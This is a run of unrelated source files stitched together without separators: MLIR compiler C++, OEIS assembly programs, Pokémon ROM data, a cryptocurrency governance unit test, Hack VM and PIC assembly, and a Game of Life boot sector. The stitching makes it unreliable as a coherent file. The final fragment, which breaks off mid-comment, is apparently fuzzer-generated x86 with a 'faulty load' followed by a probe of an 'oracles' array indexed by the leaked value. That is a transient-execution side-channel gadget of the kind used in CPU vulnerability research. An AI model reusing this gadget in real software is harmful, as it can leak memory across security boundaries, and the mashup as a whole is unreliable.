{ //===----------------------------------------------------------------------===// // mhlo Dialect Interfaces //===----------------------------------------------------------------------===// namespace { struct HLOInlinerInterface : public DialectInlinerInterface { using DialectInlinerInterface::DialectInlinerInterface; // Allow all call operations to be inlined. bool isLegalToInline(Operation* call, Operation* callable, bool wouldBeCloned) const final { return true; } // We don't have any special restrictions on what can be inlined into // destination regions (e.g. while/conditional bodies). Always allow it. bool isLegalToInline(Region* dest, Region* src, bool wouldBeCloned, BlockAndValueMapping& valueMapping) const final { return true; } // Operations in mhlo dialect are always legal to inline since they are // pure. bool isLegalToInline(Operation*, Region*, bool, BlockAndValueMapping&) const final { return true; } }; } // end anonymous namespace //===----------------------------------------------------------------------===// // mhlo Dialect Constructor //===----------------------------------------------------------------------===// MhloDialect::MhloDialect(MLIRContext* context) : Dialect(getDialectNamespace(), context, TypeID::get<MhloDialect>()) { addOperations< #define GET_OP_LIST #include "mlir-hlo/Dialect/mhlo/IR/hlo_ops.cc.inc" >(); addInterfaces<HLOInlinerInterface>(); addTypes<TokenType>(); context->loadDialect<tensor::TensorDialect>(); } Type MhloDialect::parseType(DialectAsmParser& parser) const { StringRef data_type; if (parser.parseKeyword(&data_type)) return Type(); if (data_type == "token") return TokenType::get(getContext()); parser.emitError(parser.getNameLoc()) << "unknown mhlo type: " << data_type; return nullptr; } void MhloDialect::printType(Type type, DialectAsmPrinter& os) const { if (type.isa<TokenType>()) { os << "token"; return; } os << "<unknown mhlo type>"; } //===----------------------------------------------------------------------===// // Shape inference //===----------------------------------------------------------------------===// LogicalResult deriveShapeFromOperand( OpBuilder* builder, Operation* op, Value operand, SmallVectorImpl<Value>* reifiedReturnShapes) { auto shaped_ty = operand.getType().dyn_cast<ShapedType>(); if (!shaped_ty) { op->emitOpError() << "operand is not a shaped type"; return failure(); } reifiedReturnShapes->assign( {builder->create<shape::ShapeOfOp>(op->getLoc(), operand)}); return success(); } } // namespace mhlo } // namespace mlir
; A169630: a(n) = n times the square of Fibonacci(n). ; 0,1,2,12,36,125,384,1183,3528,10404,30250,87131,248832,705757,1989806,5581500,15586704,43356953,120187008,332134459,915304500,2516113236,6900949462,18888143927,51599794176,140718765625,383142771674,1041660829548,2828107288188,7668512468789,20768716848000,56185646831191,151840963183392,409947452576772,1105779284582146,2980113861417875,8024954790380544,21593204521603093,58059628319357318,156002135059375644,418891171182561000,1124088106836775121,3014678940049375872,8080449357127719667,21646865272061272716,57960234237422200500,155113904634576144814,414921593471052580463,1109391149998449819648,2964932565379155201649,7920708398483722531250,21151417478251274307276,56460916728463179389652,150659225935538238944237,401873068071158383691136,1071601006028557475791375,2856496726273368888420984,7611948473817493160023908,20277959821998087658569178,54003705071607757045887179,143779866504299168102784000,382694253696280713903336781,1018331261238041888906149982,2709026270723350732071012732,7204899406395028729775662656,19157400774145284945406399625,50926337537628456148426034304,135346986877819424137668773803,359631713591480208135988999908,955374050344493035246727294484,2537451036289964010662071375750,6738034958621422500936693241511,17888860941014408891681749082112,47484113268646096868512569796777,126017967976156654397534266950026,334377692589297891680721135187500,887084326468926324030843544372524,2352975034919574965213821811076773,6240170805918890922630444422537088,16546427717622280970934966744426439,43867453323674409143926999140738000,116282064848795134753846205379883716,308188798032167102842859597775205042,816688367080680308657476355572511747 mov $1,$0 seq $1,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. pow $1,2 mul $0,$1
include "sprite/constants.asm" include "sprite/routines.asm"
db 0 ; species ID placeholder db 60, 45, 50, 70, 80, 80 ; hp atk def spd sat sdf db BUG, FLYING ; type db 45 ; catch rate db 160 ; base exp db NO_ITEM, SILVERPOWDER ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 15 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/butterfree/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_BUG, EGG_BUG ; egg groups ; tm/hm learnset tmhm CURSE, TOXIC, HIDDEN_POWER, SUNNY_DAY, SWEET_SCENT, SNORE, HYPER_BEAM, PROTECT, GIGA_DRAIN, ENDURE, FRUSTRATION, SOLARBEAM, RETURN, PSYCHIC_M, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SWIFT, REST, ATTRACT, NIGHTMARE, WIND_RIDE ; end
[bits 64] vmaskmovps [edi],ymm0,ymm1 vextractf128 xmm0,ymm1,1 vextractf128 [edi],ymm1,1
; A135860: a(n) = binomial(n(n+1), n). ; 1,2,15,220,4845,142506,5245786,231917400,11969016345,706252528630,46897636623981,3461014728350400,281014969393251275,24894763097057357700,2389461906843449885700,247012484980695576597296,27361230617617949782033713,3233032526324680287912449550,405917652852163253891909880775,53964757993692572394668489689500,7573236547016505895336368911475126 mov $1,1 add $1,$0 mul $1,$0 bin $1,$0 mov $0,$1
// Copyright (c) 2014-2018 The Dash Core developers #include "governance-validators.h" #include "utilstrencodings.h" #include "data/proposals_valid.json.h" #include "data/proposals_invalid.json.h" #include "test/test_encocoin.h" #include <iostream> #include <fstream> #include <string> #include <boost/test/unit_test.hpp> #include <univalue.h> extern UniValue read_json(const std::string& jsondata); BOOST_FIXTURE_TEST_SUITE(governance_validators_tests, BasicTestingSetup) std::string CreateEncodedProposalObject(const UniValue& objJSON) { UniValue innerArray(UniValue::VARR); innerArray.push_back(UniValue("proposal")); innerArray.push_back(objJSON); UniValue outerArray(UniValue::VARR); outerArray.push_back(innerArray); std::string strData = outerArray.write(); std::string strHex = HexStr(strData); return strHex; } BOOST_AUTO_TEST_CASE(valid_proposals_test) { // all proposals are valid but expired UniValue tests = read_json(std::string(json_tests::proposals_valid, json_tests::proposals_valid + sizeof(json_tests::proposals_valid))); BOOST_CHECK_MESSAGE(tests.size(), "Empty `tests`"); for(size_t i = 0; i < tests.size(); ++i) { const UniValue& objProposal = tests[i]; // legacy format std::string strHexData1 = CreateEncodedProposalObject(objProposal); CProposalValidator validator1(strHexData1, true); BOOST_CHECK_MESSAGE(validator1.Validate(false), validator1.GetErrorMessages()); BOOST_CHECK_MESSAGE(!validator1.Validate(), validator1.GetErrorMessages()); // legacy format w/validation flag off CProposalValidator validator0(strHexData1, false); BOOST_CHECK(!validator0.Validate()); BOOST_CHECK_EQUAL(validator0.GetErrorMessages(), "Legacy proposal serialization format not allowed;JSON parsing error;"); // new format std::string strHexData2 = HexStr(objProposal.write()); CProposalValidator validator2(strHexData2, false); BOOST_CHECK_MESSAGE(validator2.Validate(false), validator2.GetErrorMessages()); BOOST_CHECK_MESSAGE(!validator2.Validate(), validator2.GetErrorMessages()); } } BOOST_AUTO_TEST_CASE(invalid_proposals_test) { // all proposals are invalid regardless of being expired or not // (i.e. we don't even check for expiration here) UniValue tests = read_json(std::string(json_tests::proposals_invalid, json_tests::proposals_invalid + sizeof(json_tests::proposals_invalid))); BOOST_CHECK_MESSAGE(tests.size(), "Empty `tests`"); for(size_t i = 0; i < tests.size(); ++i) { const UniValue& objProposal = tests[i]; // legacy format std::string strHexData1 = CreateEncodedProposalObject(objProposal); CProposalValidator validator1(strHexData1, true); BOOST_CHECK_MESSAGE(!validator1.Validate(false), validator1.GetErrorMessages()); // new format std::string strHexData2 = HexStr(objProposal.write()); CProposalValidator validator2(strHexData2, false); BOOST_CHECK_MESSAGE(!validator2.Validate(false), validator2.GetErrorMessages()); } } BOOST_AUTO_TEST_SUITE_END()
#pragma once #include "Utilities/rect.hpp" #include <string> #include <vector> #include <map> #include <utility> namespace ph { struct StateData { IntRect startFrame; unsigned frameCount; }; using AnimationStatesData = std::map<std::string, StateData>; void loadAnimationStatesFromFile(const std::string& filepath); AnimationStatesData* getAnimationStates(const std::string& filepath); }
; A032612: Concatenation of n and n+7. ; 18,29,310,411,512,613,714,815,916,1017,1118,1219,1320,1421,1522,1623,1724,1825,1926,2027,2128,2229,2330,2431,2532,2633,2734,2835,2936,3037,3138,3239,3340,3441,3542,3643,3744,3845,3946,4047,4148,4249 mov $1,$0 add $1,1 mov $2,$0 add $0,1 add $1,5 lpb $1 mul $0,10 div $1,8 lpe add $0,$2 add $0,8
; A159247: Numerator of Hermite(n, 1/10). ; Submitted by Jon Maiga ; 1,1,-49,-149,7201,37001,-1763249,-12863549,604273601,5749693201,-266173427249,-3141020027749,143254364959201,2027866381608601,-91087470841872049,-1510593937967892749,66805009193436144001,1275280159567750343201,-55508977654852972057649,-1203261121265828280938549,51530267650844495173828001,1254791388916672776112377001,-52851989644470047156407024049,-1433122517452810100880021725149,59346665573687744128988055931201,1779093686517059865185014126110001,-72404238280592620296050055787891249 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 mul $3,-25 mul $3,$0 mul $3,2 lpe mov $0,$1
; A001094: a(n) = n + n*(n-1)*(n-2)*(n-3). ; 0,1,2,3,28,125,366,847,1688,3033,5050,7931,11892,17173,24038,32775,43696,57137,73458,93043,116300,143661,175582,212543,255048,303625,358826,421227,491428,570053,657750,755191,863072,982113,1113058,1256675,1413756,1585117,1771598,1974063,2193400,2430521,2686362,2961883,3258068,3575925,3916486,4280807,4669968,5085073,5527250,5997651,6497452,7027853,7590078,8185375,8815016,9480297,10182538,10923083,11703300,12524581,13388342,14296023,15249088,16249025,17297346,18395587,19545308,20748093,22005550,23319311,24691032,26122393,27615098,29170875,30791476,32478677,34234278,36060103,37958000,39929841,41977522,44102963,46308108,48594925,50965406,53421567,55965448,58599113,61324650,64144171,67059812,70073733,73188118,76405175,79727136,83156257,86694818,90345123 mov $1,$0 bin $1,4 mul $1,24 add $0,$1
#include "evaluator9.h" namespace { struct _Cl3 { }; struct _Cl7 { }; static const std::map<std::string, double*>* userData; View<double*, double, to_list_t<P<3,1>>> _t11; View<double*, double, to_list_t<P<3,1>>> _t9; template<typename _T1> void _lam3(_Cl3 _cl, double x3, double y3, _T1 _result); double _lam3(_Cl3 _cl, double x3, double y3); template<typename _T1> void _lam7(_Cl7 _cl, double x7, _T1 _result); double _lam7(_Cl7 _cl, double x7); template<typename _T1, typename... _T> void _zip1(_Cl3 _clZip, _T1 _result, _T... vecs); template<typename _T1, typename... _T> void _zip0(_Cl7 _clZip, _T1 _result, _T... vecs); template<typename _T1> void _lam3(_Cl3 _cl, double x3, double y3, _T1 _result) { _result = (x3) + (y3); } double _lam3(_Cl3 _cl, double x3, double y3) { double result; _lam3(_cl, x3, y3, View<double*, double, to_list_t<>, true>(&result)); return result; } template<typename _T1> void _lam7(_Cl7 _cl, double x7, _T1 _result) { _result = (3.0) * (x7); } double _lam7(_Cl7 _cl, double x7) { double result; _lam7(_cl, x7, View<double*, double, to_list_t<>, true>(&result)); return result; } template<typename _T1, typename... _T> void _zip1(_Cl3 _clZip, _T1 _result, _T... vecs) { for (int i = 0; i < _result.size; ++i) _lam3(_clZip, vecs[i]..., _result[i]); } template<typename _T1, typename... _T> void _zip0(_Cl7 _clZip, _T1 _result, _T... vecs) { for (int i = 0; i < _result.size; ++i) _lam7(_clZip, vecs[i]..., _result[i]); } } View<double*, double, to_list_t<P<3,1>>> evaluator9(std::map<std::string, double*> const& _userData) { userData = &_userData; View<double*, double, to_list_t<P<3,1>>> _t8(userData->at("a")); _zip0({}, _t9, _t8); View<double*, double, to_list_t<P<3,1>>> _t10(userData->at("b")); _zip1({}, _t11, _t9, _t10); return _t11; }
// Bootstrap @261 D=A @SP M=D @Sys.init 0;JMP // function Class1.set 0 (Class1.set) @Class1.set.locals M=0 (Class1.set.locals_loop) @0 D=A @Class1.set.locals D=D-M @Class1.set.end_locals_loop D;JEQ @SP M=M+1 A=M-1 M=0 @Class1.set.locals M=M+1 @Class1.set.locals_loop 0;JMP (Class1.set.end_locals_loop) // push ARG 0 @ARG D=M @0 A=A+D D=M @SP M=M+1 A=M-1 M=D // pop static 0 @SP AM=M-1 D=M @Class1.0 M=D // push ARG 1 @ARG D=M @1 A=A+D D=M @SP M=M+1 A=M-1 M=D // pop static 1 @SP AM=M-1 D=M @Class1.1 M=D // push constant 0 @0 D=A @SP M=M+1 A=M-1 M=D // return from Class1.set @LCL D=M @R14 M=D @5 A=D-A D=M @R15 M=D @SP M=M-1 A=M D=M @ARG A=M M=D D=A+1 @SP M=D @R14 AM=M-1 D=M @THAT M=D @R14 AM=M-1 D=M @THIS M=D @R14 AM=M-1 D=M @ARG M=D @R14 A=M-1 D=M @LCL M=D @R15 A=M 0;JMP // function Class1.get 0 (Class1.get) @Class1.get.locals M=0 (Class1.get.locals_loop) @0 D=A @Class1.get.locals D=D-M @Class1.get.end_locals_loop D;JEQ @SP M=M+1 A=M-1 M=0 @Class1.get.locals M=M+1 @Class1.get.locals_loop 0;JMP (Class1.get.end_locals_loop) // push static 0 @Class1.0 D=M @SP M=M+1 A=M-1 M=D // push static 1 @Class1.1 D=M @SP M=M+1 A=M-1 M=D // sub @SP AM=M-1 D=M @SP AM=M-1 D=M-D @SP M=M+1 A=M-1 M=D // return from Class1.get @LCL D=M @R14 M=D @5 A=D-A D=M @R15 M=D @SP M=M-1 A=M D=M @ARG A=M M=D D=A+1 @SP M=D @R14 AM=M-1 D=M @THAT M=D @R14 AM=M-1 D=M @THIS M=D @R14 AM=M-1 D=M @ARG M=D @R14 A=M-1 D=M @LCL M=D @R15 A=M 0;JMP // function Class2.set 0 (Class2.set) @Class2.set.locals M=0 (Class2.set.locals_loop) @0 D=A @Class2.set.locals D=D-M @Class2.set.end_locals_loop D;JEQ @SP M=M+1 A=M-1 M=0 @Class2.set.locals M=M+1 @Class2.set.locals_loop 0;JMP (Class2.set.end_locals_loop) // push ARG 0 @ARG D=M @0 A=A+D D=M @SP M=M+1 A=M-1 M=D // pop static 0 @SP AM=M-1 D=M @Class2.0 M=D // push ARG 1 @ARG D=M @1 A=A+D D=M @SP M=M+1 A=M-1 M=D // pop static 1 @SP AM=M-1 D=M @Class2.1 M=D // push constant 0 @0 D=A @SP M=M+1 A=M-1 M=D // return from Class2.set @LCL D=M @R14 M=D @5 A=D-A D=M @R15 M=D @SP M=M-1 A=M D=M @ARG A=M M=D D=A+1 @SP M=D @R14 AM=M-1 D=M @THAT M=D @R14 AM=M-1 D=M @THIS M=D @R14 AM=M-1 D=M @ARG M=D @R14 A=M-1 D=M @LCL M=D @R15 A=M 0;JMP // function Class2.get 0 (Class2.get) @Class2.get.locals M=0 (Class2.get.locals_loop) @0 D=A @Class2.get.locals D=D-M @Class2.get.end_locals_loop D;JEQ @SP M=M+1 A=M-1 M=0 @Class2.get.locals M=M+1 @Class2.get.locals_loop 0;JMP (Class2.get.end_locals_loop) // push static 0 @Class2.0 D=M @SP M=M+1 A=M-1 M=D // push static 1 @Class2.1 D=M @SP M=M+1 A=M-1 M=D // sub @SP AM=M-1 D=M @SP AM=M-1 D=M-D @SP M=M+1 A=M-1 M=D // return from Class2.get @LCL D=M @R14 M=D @5 A=D-A D=M @R15 M=D @SP M=M-1 A=M D=M @ARG A=M M=D D=A+1 @SP M=D @R14 AM=M-1 D=M @THAT M=D @R14 AM=M-1 D=M @THIS M=D @R14 AM=M-1 D=M @ARG M=D @R14 A=M-1 D=M @LCL M=D @R15 A=M 0;JMP // function Sys.init 0 (Sys.init) @Sys.init.locals M=0 (Sys.init.locals_loop) @0 D=A @Sys.init.locals D=D-M @Sys.init.end_locals_loop D;JEQ @SP M=M+1 A=M-1 M=0 @Sys.init.locals M=M+1 @Sys.init.locals_loop 0;JMP (Sys.init.end_locals_loop) // push constant 6 @6 D=A @SP M=M+1 A=M-1 M=D // push constant 8 @8 D=A @SP M=M+1 A=M-1 M=D // call Class1.set 2 @Class1.set.return_2 D=A @SP M=M+1 A=M-1 M=D @LCL D=M @SP M=M+1 A=M-1 M=D @ARG D=M @SP M=M+1 A=M-1 M=D @THIS D=M @SP M=M+1 A=M-1 M=D @THAT D=M @SP M=M+1 A=M-1 M=D D=A+1 @7 D=D-A @ARG M=D @SP D=M @LCL M=D @Class1.set 0;JMP (Class1.set.return_2) // pop temp 0 @5 D=A @0 D=A+D @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D // push constant 23 @23 D=A @SP M=M+1 A=M-1 M=D // push constant 15 @15 D=A @SP M=M+1 A=M-1 M=D // call Class2.set 2 @Class2.set.return_3 D=A @SP M=M+1 A=M-1 M=D @LCL D=M @SP M=M+1 A=M-1 M=D @ARG D=M @SP M=M+1 A=M-1 M=D @THIS D=M @SP M=M+1 A=M-1 M=D @THAT D=M @SP M=M+1 A=M-1 M=D D=A+1 @7 D=D-A @ARG M=D @SP D=M @LCL M=D @Class2.set 0;JMP (Class2.set.return_3) // pop temp 0 @5 D=A @0 D=A+D @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D // call Class1.get 0 @Class1.get.return_4 D=A @SP M=M+1 A=M-1 M=D @LCL D=M @SP M=M+1 A=M-1 M=D @ARG D=M @SP M=M+1 A=M-1 M=D @THIS D=M @SP M=M+1 A=M-1 M=D @THAT D=M @SP M=M+1 A=M-1 M=D D=A+1 @5 D=D-A @ARG M=D @SP D=M @LCL M=D @Class1.get 0;JMP (Class1.get.return_4) // call Class2.get 0 @Class2.get.return_5 D=A @SP M=M+1 A=M-1 M=D @LCL D=M @SP M=M+1 A=M-1 M=D @ARG D=M @SP M=M+1 A=M-1 M=D @THIS D=M @SP M=M+1 A=M-1 M=D @THAT D=M @SP M=M+1 A=M-1 M=D D=A+1 @5 D=D-A @ARG M=D @SP D=M @LCL M=D @Class2.get 0;JMP (Class2.get.return_5) // label Sys.init$WHILE (Sys.init$WHILE) // goto Sys.init$WHILE @Sys.init$WHILE 0;JMP
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24) ) ftyp_start: dd BE(ftyp_end - ftyp_start) db "ftyp" db "isom" dd BE(0x00) db "mif1", "miaf" ftyp_end: meta_start: dd BE(meta_end - meta_start) db "meta" dd BE(0) dinf_start: dd BE(dinf_end - dinf_start) db "dinf" dinf_end: pitm_start: dd BE(pitm_end - pitm_start) db "pitm" dd BE(0) db 0x00, 0x00 pitm_end: iinf_start: dd BE(iinf_end - iinf_start) db "iinf" dd BE(0) db 0x00, 0x00 iinf_end: iprp_start: dd BE(iprp_end - iprp_start) db "iprp" ipco_start: dd BE(ipco_end - ipco_start) db "ipco" ispe_start: dd BE(ispe_end - ispe_start) db "ispe" dd 0, 0, 0 ispe_end: ipco_end: iprp_end: meta_end: ; vim: syntax=nasm
; void heap_free_unlocked(void *heap, void *p) SECTION code_clib SECTION code_alloc_malloc PUBLIC _heap_free_unlocked EXTERN asm_heap_free_unlocked _heap_free_unlocked: pop af pop de pop hl push hl push de push af jp asm_heap_free_unlocked
#INCLUDE<P16F84A.INC> ORG 0X00 GOTO INICIO ORG 0X04 ;as interrupções sempre levam para a posição 4 GOTO INTERRUPT ;--- ACENDER E APAGAR UM LED ATRAVÉS DE BOTOES USANDO INTERRUPCAO ---; INICIO CLRW CLRF PORTB CLRF PORTA BSF STATUS,RP0 MOVLW 0 ;todos os bits de A sao de saida MOVWF TRISA MOVLW 1 ;1 = 00000001 MOVWF TRISB ;apenas o bit 0 de B é entrada BCF STATUS,RP0 BSF INTCON,GIE ;habilitação do bit geral de interrupções BSF INTCON,INTE ;habilitação da interrupção por borda do pino rb0 MAIN GOTO MAIN ;como o programa só faz algo quando é gerada uma interrupção de click a lógica principal fica parada aguardando essa interrupção acontecer INTERRUPT ;se chegou aqui é pq houve a interrupção BSF PORTA,0 GOTO ACENDE ;se tiver em 0 vai acender GOTO APAGA ;se tiver em 1 vai apagar ACENDE BSF PORTA,0 GOTO FIM APAGA BCF PORTA,0 GOTO FIM FIM MOVF PORTB,0 ;ler a porta B pra salvar seu ultimo valor BCF INTCON,RBIF ;reset da flag RETFIE ;return from interruption. usado no final das interrupcoes END
#ifdef SANDESH #include <stdio.h> #endif // !SANDESH #include "t_type.h" #include "t_typedef.h" #ifdef SANDESH #include "t_program.h" #include "t_struct.h" #endif // !SANDESH #include "md5.h" void t_type::generate_fingerprint() { std::string material = get_fingerprint_material(); md5_state_t ctx; md5_init(&ctx); md5_append(&ctx, (md5_byte_t*)(material.data()), (int)material.size()); md5_finish(&ctx, (md5_byte_t*)fingerprint_); } t_type* t_type::get_true_type() { t_type* type = this; while (type->is_typedef()) { type = ((t_typedef*)type)->get_type(); } return type; } #ifdef SANDESH bool t_type::has_annotation(bool check_self, const std::vector<t_field*> &members, const t_program *program) const { bool has_annotation = false; // First check self annotations if (check_self) { has_annotation = t_type::has_key_annotation(); if (has_annotation) { return has_annotation; } } // Next check member annotations std::vector<t_field*>::const_iterator m_iter; for (m_iter = members.begin(); m_iter != members.end(); ++m_iter) { if (((*m_iter)->get_type())->is_struct()) { const char *sname = ((*m_iter)->get_type())->get_name().c_str(); t_struct *cstruct = program->get_struct(sname); if (!cstruct) { // Check in includes const std::vector<t_program*>& includes = program->get_includes(); std::vector<t_program*>::const_iterator iter; for (iter = includes.begin(); iter != includes.end(); ++iter) { cstruct = (*iter)->get_struct(sname); if (cstruct) { break; } } } if (!cstruct) { throw "compiler error: CANNOT FIND struct: " + std::string(sname); } has_annotation = cstruct->has_key_annotation(); } else { has_annotation = (*m_iter)->has_key_annotation(); } if (has_annotation) { return has_annotation; } } return has_annotation; } bool t_struct::has_key_annotation() const { return t_type::has_annotation(true, members_, program_); } bool t_sandesh::has_key_annotation() const { return has_annotation(false, members_, program_); } #endif // !SANDESH
[ORG 0x7c00] ;add to offsets ;Init the environment ; init data segment ; init stack segment allocate area of mem ; init E/video segment and allocate area of mem ; Set to 0x03/80x25 text mode ; Hide the cursor xor ax, ax ;make it zero mov ds, ax ;DS=0 mov ss, ax ;stack starts at 0 mov sp, 0x9c00 ;200h past code start mov ax, 0xb800 ;text video memory mov es, ax ;ES=0xB800 mov al, 0x03 xor ah, ah int 0x10 mov al, 0x03 ;Some BIOS crash without this. mov ch, 0x26 inc ah int 0x10 ;Clear the entire video area mov cx, 0xffff ;maximum amount xor di, di ;make sure we start at 1st pixel mov ah, 0x0000 ;black on black rep stosw ;repeat until done mov cx, 2000 ;actual screens worth call screen_seed ;get random pixels onto screen ;================Main Loop=============== next_tick: xor di, di ;start at pixel origin life_check: call count_n ;for current pixel, count 8 alive pixels surrounding it ;Life Check cmp word [es:di], 0xff01 ;is current pixel alive jne dead ;if not go to the code for being 'dead' ;Process Life/Death into 2nd screen buffer cmp cl, 2 ;is it below 2? jb die ;if so die cmp cl, 3 ;is it above 3? ja die ;if so die jmp life_check_end ;otherwise it's 2 or 3 and we stay alive dead: cmp cl, 3 ;is it exactly 3? je live ;give birth to this pixel jmp life_check_end die: mov word [temp_screen_buffer + di], 0x0000 ;load pixel data for death jmp life_check_end live: mov word [temp_screen_buffer + di], 0xff01 ;load pixel data for life life_check_end: add di, 2 ;go to next pixel cmp di, 4000 ;see if we are done with pixels jb life_check ;if not, go to the next pixel ;-----------Display Next Screen---------- ; Time Dealy loop, so it doesn't blast too quick mov bx, [0x046c] ;get clock add bx, 2 ;use 2 cycles delay: cmp [0x046c], bx ;check cycle jb delay ;keep delaying if not hit ; Print the Results from 2nd buffer xor di, di ;resit pixel origin new_pixel: mov ax, word [temp_screen_buffer + di] ;get the buffered pixel into register stosw ;display it on screen cmp di, 4000 ;are we done with all the pixels? jne new_pixel ;go to next pixel if not inc word [iterations] ;increment total ticks cmp word [iterations], 0x0500 ;have we done 0x500 ticks? jne next_tick ;if not, then do another mov word [iterations], 0x0000 ;if we have, reset ticks mov cx, 2000 ;set loop for 2000 pixels worth xor di, di ;reset pixel origin call screen_seed ;and get a new random screen jmp next_tick ;now we can do another tick ;-------Put Random Pixels On Screen------ screen_seed: cmp cx, 0 ;Are we done yet je end_seed ;return if done dec cx ;Otherwise note another pixel off mov ax, 0x0000 ;a black pixel stosw ;print it rdtsc ;get random value into ax and al, 0x01 ;just look at LSB cmp al, 0x01 ;is bit a 1 (not 0) jne screen_seed ;if not, go back to top for another black pixle mov ax, 0xff01 ;otherwise setup a white pixel (with 1 in al) stosw ;display it jmp screen_seed ;do another end_seed: ret ;Counting Neighbors, Result in CL ;Needs Bounds checking ;------------Counts Neighbors------------ ;It stores the results in CL ;It uses a side effect of 'live' registers ;also having 0x01 in last (non-color) byte count_n: xor cx, cx ;clear count mov bx, [es:di + 2] ;East ;get east pixel add cl, bl ;add 0x01 or 0x00 value it will already have mov bx, [es:di + 158] ;South West ;and so on... add cl, bl mov bx, [es:di + 160] ;South add cl, bl mov bx, [es:di + 162] ;South East add cl, bl mov bx, [es:di - 2] ;West add cl, bl mov bx, [es:di - 162] ;North West add cl, bl mov bx, [es:di - 160] ;North add cl, bl mov bx, [es:di - 158] ;North East add cl, bl ret iterations: dw 0 ;BIOS sig and padding times 510-($-$$) db 0 dw 0xAA55 temp_screen_buffer:
; A158401: a(n) = 841*n^2 - 2*n. ; 839,3360,7563,13448,21015,30264,41195,53808,68103,84080,101739,121080,142103,164808,189195,215264,243015,272448,303563,336360,370839,407000,444843,484368,525575,568464,613035,659288,707223,756840,808139,861120,915783,972128,1030155,1089864,1151255,1214328,1279083,1345520,1413639,1483440,1554923,1628088,1702935,1779464,1857675,1937568,2019143,2102400,2187339,2273960,2362263,2452248,2543915,2637264,2732295,2829008,2927403,3027480,3129239,3232680,3337803,3444608,3553095,3663264,3775115,3888648 mov $1,$0 add $0,1 mul $0,29 pow $0,2 mul $1,2 sub $0,$1 sub $0,2
; A115342: 1 + (n-6)*2^(n-1). ; 1,65,257,769,2049,5121,12289,28673,65537,147457,327681,720897,1572865,3407873,7340033,15728641,33554433,71303169,150994945,318767105,671088641,1409286145,2952790017,6174015489,12884901889,26843545601,55834574849,115964116993 mov $1,2 pow $1,$0 mul $1,$0 div $1,2 mul $1,64 add $1,1
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x118f7, %rsi nop nop nop cmp $63412, %r13 mov (%rsi), %r11 nop nop dec %r14 lea addresses_WC_ht+0x13817, %r10 nop nop nop nop nop inc %rbx mov (%r10), %rdx cmp $16854, %r14 lea addresses_WT_ht+0x2437, %r11 nop nop nop nop nop dec %rbx mov $0x6162636465666768, %rdx movq %rdx, %xmm3 movups %xmm3, (%r11) nop nop xor %rbx, %rbx lea addresses_normal_ht+0x1e2f7, %rdx clflush (%rdx) cmp $12570, %rbx mov $0x6162636465666768, %r10 movq %r10, (%rdx) add %rdx, %rdx lea addresses_UC_ht+0x2be7, %rbx xor $55965, %r11 movups (%rbx), %xmm1 vpextrq $1, %xmm1, %r10 sub %r10, %r10 lea addresses_WT_ht+0x19837, %rbx nop nop nop dec %r10 movb $0x61, (%rbx) nop nop nop nop nop sub %r11, %r11 lea addresses_WT_ht+0x4937, %rsi lea addresses_A_ht+0xb837, %rdi nop nop nop cmp $46694, %r10 mov $107, %rcx rep movsl xor $33866, %rdi lea addresses_UC_ht+0xe6d7, %rcx nop nop nop nop nop cmp $38777, %r14 movl $0x61626364, (%rcx) nop nop and %rdi, %rdi lea addresses_UC_ht+0x3767, %rbx nop xor $42307, %r13 movb (%rbx), %dl nop nop nop sub %rdi, %rdi lea addresses_D_ht+0x1e227, %rcx nop nop nop dec %r14 movups (%rcx), %xmm5 vpextrq $1, %xmm5, %rbx nop nop nop nop nop sub $31090, %r14 lea addresses_WT_ht+0x3737, %r13 nop nop nop xor $32791, %rsi movb (%r13), %r14b nop nop nop and $62367, %rdx lea addresses_WC_ht+0x1d437, %rsi lea addresses_A_ht+0xec37, %rdi nop nop cmp %rdx, %rdx mov $64, %rcx rep movsl nop nop nop nop and $22633, %rdx lea addresses_D_ht+0xe937, %rsi nop nop dec %rcx mov $0x6162636465666768, %r10 movq %r10, %xmm3 movups %xmm3, (%rsi) nop nop dec %rdx lea addresses_UC_ht+0x1bc37, %r14 nop nop nop nop dec %rsi movl $0x61626364, (%r14) nop cmp %rbx, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rbx push %rcx push %rdi push %rsi // Load lea addresses_WC+0x15c37, %rcx nop nop nop add %r12, %r12 and $0xffffffffffffffc0, %rcx movntdqa (%rcx), %xmm7 vpextrq $0, %xmm7, %r15 nop nop nop and %rbx, %rbx // Store lea addresses_RW+0xcc15, %rsi nop nop add $21107, %r9 movb $0x51, (%rsi) nop nop nop nop nop add %rbx, %rbx // Store lea addresses_D+0xe5c3, %r12 nop nop nop add %rdi, %rdi mov $0x5152535455565758, %r9 movq %r9, (%r12) nop sub %rsi, %rsi // Store mov $0x23d, %rsi add $22618, %r9 mov $0x5152535455565758, %r15 movq %r15, (%rsi) nop nop nop nop add $21945, %rbx // Faulty Load lea addresses_normal+0xd837, %rbx nop nop nop add $3559, %rcx vmovups (%rbx), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %r9 lea oracles, %rcx and $0xff, %r9 shlq $12, %r9 mov (%rcx,%r9,1), %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'NT': True, 'type': 'addresses_WC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': True, 'type': 